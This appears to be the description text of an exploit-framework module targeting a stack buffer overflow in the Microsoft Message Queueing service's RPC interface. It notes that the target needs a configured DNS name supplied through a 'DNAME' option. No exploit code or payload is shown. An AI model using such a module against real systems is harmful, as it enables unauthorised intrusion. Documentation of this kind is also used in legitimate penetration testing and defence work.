    This module exploits a stack buffer overflow in the RPC interface
   to the Microsoft Message Queueing service. This exploit requires
   the target system to have been configured with a DNS name and
   for that name to be supplied in the 'DNAME' option. This name does
   not need to be served by a valid DNS server, only configured on
   the target machine.
